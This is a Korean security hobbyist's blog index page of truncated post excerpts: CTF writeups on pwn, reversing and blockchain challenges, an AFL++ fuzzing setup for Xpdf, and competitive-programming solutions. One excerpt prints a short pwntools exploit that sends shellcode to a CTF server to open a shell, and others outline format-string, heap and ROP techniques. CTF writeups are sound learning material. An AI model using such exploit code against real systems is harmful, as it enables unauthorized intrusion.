티스토리

snwo

검색하기

블로그 홈

snwo

snwo.tistory.com/m

me from korea dimigo likes pwn, rev, money with bugbounty

구독자: 19

방명록 방문하기

주요 글 목록

(ETC) 2024 회고 보호되어 있는 글입니다. 공감수 5 댓글수 1 2025. 1. 24.
(CTF) just ctf 2024 writeup ( blockchain ) / realworld CTF 2024 safebridge writeup https://blog.solidity.kr/posts/(ctf)-2024-justCTF/ (CTF) justCTF 2024 writeup (Blockchains)MOVE language newbie’s writeupblog.solidity.krhttps://blog.solidity.kr/posts/(ctf)-2024-realworldctf/ (CTF) realworld CTF 2024 writeup (SafeBridge)web3 newbie’s solver for SafeBridge in rwctf 2024blog.solidity.krhi 공감수 0 댓글수 0 2024. 7. 2.
(CTF) corCTF 2023 writeup https://blog.solidity.kr/posts/(ctf)-2023-corctf/ (CTF) corCTF 2023 writeup (diophantus,babyWallet,utterly-tangled) corCTF twitter blog.solidity.kr 많관잘부 공감수 0 댓글수 0 2023. 8. 4.
(CTF) Google CTF 2023 writeup (oldschool, ubf) https://blog.solidity.kr/posts/(ctf)-2023-googlectf/ 공감수 0 댓글수 1 2023. 6. 26.
(CTF) SEETF CTF 2023 writeup ( NOW, Murky SEEPass ) 토요일에 CCE 끝나고, 다음날 ProjectSekai 로 참가해서 몇개 풀었읍니다 https://blog.solidity.kr/posts/(ctf)-2023-seetf/ 공감수 0 댓글수 0 2023. 6. 12.
(CTF) just CTF 2023 writeup ( manGO, rustberry ) nvm 풀고싶었지만 아파서 누어ㅜ있었습니다 https://blog.solidity.kr/posts/(ctf)-just-ctf-2023/ 공감수 0 댓글수 0 2023. 6. 8.
(CTF) 2023 Plaid CTF Treasure Map, CSS writeup https://blog.solidity.kr/posts/(ctf)-plaid-ctf-2023/ 공감수 0 댓글수 0 2023. 4. 17.
TiltedEther https://opensea.io/assets/ethereum/0x495f947276749ce646f68ac8c248420045cb7b5e/50717382335653255601783418183482540616296643676020897113978941562113788739684 이더리움 생태계를 상징하는 현대미술작품 기울어진 이더 입니다. 구경하고가세요 공감수 0 댓글수 1 2023. 4. 14.
(CTF) 2023 LINE CTF writeup fishing __LINE__ 공감수 1 댓글수 0 2023. 3. 26.
(CTF) 2023 b01lers CTF writeup 클릭 공감수 1 댓글수 0 2023. 3. 20.
(CTF) 2022 hxp required writeup https://blog.snwo.kr/posts/(ctf)-hxp-ctf-2022-required-writeup-075e6a0688a84a00b6cae02d2ca19fcb/ 공감수 0 댓글수 0 2023. 3. 13.
(dreamhack.io) Damnida writeup 보호되어 있는 글입니다. 공감수 0 댓글수 0 2023. 1. 26.
(CTF) 2022 Seccon Doroboh writeup http://blog.snwo.kr/posts/doroboh-01b191dc0ea34ed6b0841d80fde8a6f0/ (CTF) Seccon 2022 Doroboh writeup 대회기간에는 못풀었는데 아쉬워서 풀이 참고해 적어봄 blog.snwo.kr 티스토리는 notion export 한거를 바로 적용못해서 불편하다.. https://github.com/snwox/Notion2Chirpy GitHub - snwox/Notion2Chirpy Contribute to snwox/Notion2Chirpy development by creating an account on GitHub. github.com 그래서 Notion 으로 Markdown&csv zip 파일로 내보내면, Chirpy upload .. 공감수 0 댓글수 3 2022. 11. 15.
ABOUT ME https://solidity.kr 공감수 0 댓글수 0 2022. 11. 2.
(Fuzzing) Fuzzing101 - Xpdf 최종 폴더구조는 다음과 같다 ./xpdf_fuzz |-- in |-- out |-- xpdf-3.02 `-- xpdf_build wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz tar -xvzf xpdf-3.02.tar.gz sudo apt-get install libfreetype6-dev libmotif-dev libxt-dev xpdf 구버전으로 가져온다. 라이브러리없을수도 있으니 apt 로 설치한다 ./configure make make install 이렇게 기본적으로빌드할 수 있다. 퍼징을 하기 위해서는, 빌드경로, 컴파일러, 세니타이져, 등을 설정해야한다. export CC=~/AFLplusplus/afl-clang-fast export CXX=~/.. 공감수 0 댓글수 8 2022. 8. 11.
(dreamhack.io) bank writeup 보호되어 있는 글입니다. 공감수 0 댓글수 0 2022. 5. 9.
(BOJ) 15683 감시 golang package main import ( "bufio" "fmt" "os" ) type XY struct { x int y int } var dx = []int{-1, 0, 1, 0} var dy = []int{0, 1, 0, -1} var w = bufio.NewWriter(os.Stdout) var r = bufio.NewReader(os.Stdin) var N, M int var board, board2 [10][10]int func pad(x, y, dir int) { dir %= 4 for 1 == 1 { x += dx[dir] y += dy[dir] if 0 > x || x >= N || 0 > y || y >= M || board2[x][y] == 6 { // reach the wall bre.. 공감수 0 댓글수 0 2022. 5. 9.
(CTF) DCTF 2022 writeup difficulty: 🩸🩸 rank: 11 writeup: rev(3)/pwn(1) 영어로 간지나게 적어서 blog.snwo.fun 에 올리려 했는데, 그냥 귀찮아서 롸업 몇개 적어본다 Glade 는 idapython 말고 Qiling 이라는 analyze framework 로도 풀 수 있는데 신기하니까 나중에 공부해봐야징 Eulers License ( 🩸 200 pt, 41 solve ) TL;DR : simple sqli, guessing prime 파워쉘 스크립트 하나 주어지는데, 열어보면 윗부분은 쉘 스크립트고, 아랫쪽은 파워쉘 스크립트로 나눠져 있다. shell script : data 를 base64 디코딩 한 후, /tmp/(random filename) 에 파이썬파일을 만든다. powers.. 공감수 0 댓글수 1 2022. 4. 19.
(CTF) HackPack 2022 writeup https://blog.snwo.fun/posts/(ctf)-hack-d6d50/ (CTF) HackPack 2022 writeup difficulty: 🩸🩸 rank: 18 writeup: rev(1) blog.snwo.fun 2인팀으로 참가해서 18등했습니다 기억에 남는문제 롸업 작성해봤습니다 공감수 0 댓글수 1 2022. 4. 12.
(BOJ) 1759 풀이 package main import ( "bufio" "os" "sort" "strconv" "strings" ) var io = bufio.NewReadWriter(bufio.NewReader(os.Stdin),bufio.NewWriter(os.Stdout)) var L,C int var ar []string func back(k,c,v,prev int){ if k==L{ if c>1 && v>0{ for _,c :=range ar{ io.WriteString(c) } io.WriteByte('\n') } return } for i:=prev;i 공감수 0 댓글수 0 2022. 3. 12.
(BOJ) 15666 풀이 package main import ( "bufio" "os" "sort" "strconv" "strings" ) var reader = bufio.NewReader(os.Stdin) var writer = bufio.NewWriter(os.Stdout) var N,M int var ar,numbers []int func back(k,prev int){ if k==M{ // fmt.Println(ar) for i:=0;i 다음 수도 4(numbers[i+1]일 때, 재귀호출하면 중복되는 수열이 출력된다. 이를 막기위해 ar[k] 에 들어간 값을 tmp 에 저장한 뒤, 현재 numbers[i] 와 비교해서 걸러야한다. 입력받을 때 중복을 제거하는 방법도 있다. go 언어로 짜면서 배운거 var reader.. 공감수 0 댓글수 0 2022. 3. 9.
(CTF) UMDCTF 2022 writeup 요즘 ctf 에 블록체인, 스마트컨트렉트 관련 문제도 많이 나오고 있다. 바운티도 많이주고 재미있는 분야라서 올해 열심히 연구해보려고 한다. 마침 블록체인 문제가 있길래 하나 풀어봤다. Blockchain 2 - ChungusCoin https://hackernoon.com/learn-blockchains-by-building-one-117428612f46 위 글에 있는 내용을 기반으로 축소해서 파이썬+Flask 로 구축한 simple blockchain 이다시마. /nodes/update 에 chain 을 전송해 조건에 맞으면 flag 를 보내준다리미. values = request.get_json() length = values['length'] challenger_chain = values['cha.. 공감수 0 댓글수 0 2022. 3. 7.
(HackCTF) 훈폰정음 writeup TL;DR heap challenge, tcache tcache 가 있는 GLIBC 2.27 라이브러리를 사용하는문제다. add table 배열의 index 0~6 에 0x000 ~ 0x400 size 의 chunk 를 할당받아 저장해줄 수 있다. 이미 chunk 가 존재하면 안됨 size 는 size 배열에 저장된다. edit table[index] 에 chunk 가 있으면, size[index] 만큼 수정가능. delete int delete() { int result; // eax int v2; // [rsp+Ch] [rbp-4h] puts("인덱스를 입력하시오:"); result = smooth(); v2 = result; while ( v2 >= 0 && v2 공감수 0 댓글수 0 2022. 2. 26.
(CTF) hacking camp CTF 24th writeup (미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup) invitation from pwn import * r=remote("ctf-hackingcamp.com",10319) context.arch='i386' b=ELF("./invitation") pay=b'x'*0x18 pr=0x0804836d pay+=p32(b.sym['CODE']) r.sendafter("code : ",asm(shellcraft.i386.linux.sh())) r.sendlineafter("password : ",pay) r.interactive() NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴. shell execve 가 seccomp 걸려있었다. 도커파일있는줄 모르고 계속 getdents 로 읽어올려했는.. 공감수 0 댓글수 0 2022. 2. 24.
(BOJ) 2447 풀이 #include using namespace std; char sqare[2188][2188]; void make(int n,int x,int y){ if(n==1){ sqare[x][y]='*'; return; } for(int i=0;i N; for(int i=0;i 공감수 0 댓글수 0 2022. 2. 24.
(HackCTF) Adult_FSB writeup int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-144h] char buf[312]; // [rsp+10h] [rbp-140h] BYREF unsigned __int64 v5; // [rsp+148h] [rbp-8h] v5 = __readfsqword(0x28u); Init(); for ( i = 0; i next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); ~~~ 대충 *listp→next 가 nul.. 공감수 0 댓글수 0 2022. 2. 24.
(HackCTF) ChildFSB writeup int __cdecl main(int argc, const char **argv, const char **envp) { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); Init(argc, argv, envp); puts("hello"); read(0, buf, 0x19uLL); printf(buf); return 0; } baby fsb 문제는, leak&got overwrite 으로 __stack_check_fail 함수에서 메인으로 돌린 뒤, 릭한 주소로 onegadget 을 구해 __stack_check_fail@got 에 덮었다. 이번엔 input.. 공감수 0 댓글수 0 2022. 2. 24.
(HackCTF) wishlist writeup TL;DR, no heap ex, ROP with stack pivoting puts("1. make wish"); puts("2. view wish"); puts("3. remove wish"); make, view, remove 할 수 있는 heap challenge __int64 sub_4008A7() { char buf[16]; // [rsp+0h] [rbp-10h] BYREF printf("input: "); read(0, buf, 0x20uLL); return (unsigned __int8)buf[0]; } 1,2,3 번호입력할 떄 사용하는 함수. buf[0] 을 리턴하긴 하지만 ret address 까지 덮을 수 있다. 수상하다 1. make __int64 sub_400910() { int .. 공감수 0 댓글수 0 2022. 2. 24.
(BOJ) 1992 풀이 #include using namespace std; int ar[65][65]; void quad(int n,int x,int y){ if(x==1){ cout 공감수 0 댓글수 0 2022. 2. 23.
(BOJ) 17478 풀이 #include int N; using namespace std; void underbar(int x){ for(int i=0;i 공감수 0 댓글수 0 2022. 2. 22.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.